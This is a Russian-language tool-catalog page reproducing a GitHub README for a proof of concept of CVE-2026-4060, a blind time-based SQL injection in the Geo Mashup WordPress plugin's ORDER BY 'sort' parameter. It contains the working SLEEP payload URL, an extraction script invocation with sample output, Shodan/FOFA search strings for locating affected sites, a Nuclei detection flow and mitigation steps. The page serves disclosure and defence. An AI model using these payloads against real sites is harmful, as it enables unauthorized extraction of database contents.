Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-4060-PoC — Доказательство концепции для CVE-2026-4060: неаутентифицированная временная слепая SQL-инъекция в плагине Geo Mashup для WordPress через предложение ORDER BY. Включает скрипт эксплуатации, лабораторную среду и шаблон обнаружения Nuclei. | Kitploit
Инструменты/GitHubGitHub/ydking0911/cve-2026-4060-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и Образование
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Доказательство концепции для CVE-2026-4060: неаутентифицированная временная слепая SQL-инъекция в плагине Geo Mashup для WordPress через предложение ORDER BY. Включает скрипт эксплуатации, лабораторную среду и шаблон обнаружения Nuclei.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
3 месяцев назадЕщё не проверено

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Неаутентифицированная SQL-инъекция PoC

Severity CVSS Type Status

Неаутентифицированные злоумышленники могут внедрять произвольный SQL в предложение ORDER BY через параметр sort конечной точки render-map плагина Geo Mashup, что позволяет слепое извлечение конфиденциальной информации из базы данных на основе задержек по времени.


Содержание

  • Обзор уязвимости
  • Среда тестирования
  • Как запустить
  • Результаты тестирования
  • Меры по смягчению
  • Обнаружение
  • Хронология
  • Ссылки

Обзор уязвимости

Техническая детализация

Параметр sort, принимаемый конечной точкой render-map, передаётся напрямую в вызов $wpdb->get_results() без очистки:

root@kitploit:~
// render-map.php (упрощено)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

Поскольку $sort интерполируется как есть, злоумышленник может внедрить подзапрос в предложение ORDER BY. WordPress wpdb экранирует одинарные кавычки, поэтому PoC использует ORD(SUBSTRING(...)) с числовыми сравнениями, чтобы обойти это ограничение и выполнить слепое извлечение на основе времени.

Уязвимая конечная точка:

root@kitploit:~
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

Среда тестирования

Архитектура лабораторного стенда

root@kitploit:~
┌─────────────────────────────────┐
│  Хост (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 активен в админке WordPress:

Geo Mashup 1.13.18 активен в админке WordPress


Как запустить

1. Запуск лабораторного стенда

root@kitploit:~
git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh сделает следующее:

  • Запустит контейнеры WordPress 6.8.2 + MariaDB 11.4
  • Установит и активирует Geo Mashup 1.13.18 (уязвимую версию) через WP-CLI
  • Создаст запись с геометками, чтобы конечная точка карты возвращала корректный ответ

После завершения:

  • Сайт: http://localhost:8080
  • Админка: http://localhost:8080/wp-admin (пользователь: admin / пароль: admin)

2. Подтверждение уязвимости (инъекция SLEEP)

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

Задержка ответа около 8 секунд подтверждает SQL-инъекцию в ORDER BY.

3. Извлечение данных (PoC)

root@kitploit:~
# По умолчанию — только результат извлечения
python3 poc.py --url http://localhost:8080

# Подробный вывод — показывать каждый пейлоад, время ответа и извлечённый символ
python3 poc.py --url http://localhost:8080 --verbose

# Только подтверждение SQLi, без извлечения данных
python3 poc.py --url http://localhost:8080 --confirm-only

4. Запуск шаблона обнаружения Nuclei

root@kitploit:~
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. Остановка лабораторного стенда

root@kitploit:~
docker compose down -v

Результаты тестирования

Истинно-положительный (TP) — Уязвимая цель

TP-1: Подтверждение инъекции ORDER BY SLEEP(8)

Внедрение подзапроса SLEEP(8) через параметр sort вызывает задержку ответа ~8 секунд.

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

SLEEP(8) через ORDER BY — ответ за 8.05 с

TP-2: Извлечение данных (подробный режим)

PoC извлекает данные посимвольно с помощью сравнений ORD(SUBSTRING(...)): отправка пейлоада → измерение времени ответа → подтверждение символа при срабатывании SLEEP.

root@kitploit:~
python3 poc.py --url http://localhost:8080 --verbose

poc.py подробный вывод — пейлоад, задержка, извлечённые символы

Извлечённые данные:

ЗапросРезультат
VERSION()11.4.10-MariaDB
DATABASE()wordpress
USER()[email protected]

TP-3: Обнаружение шаблоном Nuclei

root@kitploit:~
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.

Ложно-положительный (FP) — Неуязвимая цель

Шаблон Nuclei использует двухэтапный процесс для предотвращения ложных срабатываний.

FP-1: Geo Mashup не установлен

Если readme.txt возвращает 404 на шаге 1, сканирование завершается немедленно без отправки SQL-пейлоада.

root@kitploit:~
Scan completed in 62ms. 0 matches found.   ✅

FP-2: Исправленная версия (≥ 1.13.19)

Проверка версии плагина через readme.txt:

readme.txt с пометкой Stable tag: 1.13.18

Если compare_versions(version, '<= 1.13.18') не выполняется, шаг 2 полностью пропускается.

root@kitploit:~
Scan completed in 19ms. 0 matches found.   ✅

Меры по смягчению

ДействиеПодробности
ОбновлениеОбновить Geo Mashup до версии 1.13.19 или новее
ВременноеДеактивировать плагин до применения обновления

Коммит исправления: plugins.trac.wordpress.org/changeset/3503627


Обнаружение

Шаблон Nuclei: nuclei/CVE-2026-4060.yaml

Процесс обнаружения:

root@kitploit:~
Шаг 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → подтвердить существование плагина + версию <= 1.13.18

Шаг 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → статус 200 + GeoMashup.createMap + длительность >= 8s

Shodan / FOFA:

root@kitploit:~
Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

Хронология

ДатаСобытие
2026-04Уязвимость обнаружена
2026-04Сообщено автору плагина
2026-05Выпущен патч Geo Mashup 1.13.19
2026-05-14Назначен CVE и раскрытие публично

Ссылки

  • NVD — CVE-2026-4060
  • Рекомендация Wordfence
  • Изменения плагина (исправление)
  • CWE-89

Отказ от ответственности

Этот репозиторий предназначен только для образовательных целей и авторизованного тестирования безопасности.
Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Автор не несет ответственности за любое неправомерное использование этого материала.

Скачать инструмент
ПолеДетали
CVECVE-2026-4060
ПлагинGeo Mashup от cyberhobo
Затронутые версии≤ 1.13.18
Исправлено в1.13.19
CVSS v3.17.5 (Высокий) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWECWE-89 — Некорректная нейтрализация специальных элементов в SQL
Требуется аутентификацияНет (неаутентифицированный)
КомпонентВерсия
ОСmacOS (Darwin 25.4.0)
Docker27.x
WordPress6.8.2 (PHP 8.2, Apache)
MariaDB11.4
Geo Mashup1.13.18 (уязвимая)
Python3.x (для poc.py)
Nucleiv3.8.0
WAF
Блокировать шаблоны внедрения подзапросов в предложениях ORDER BY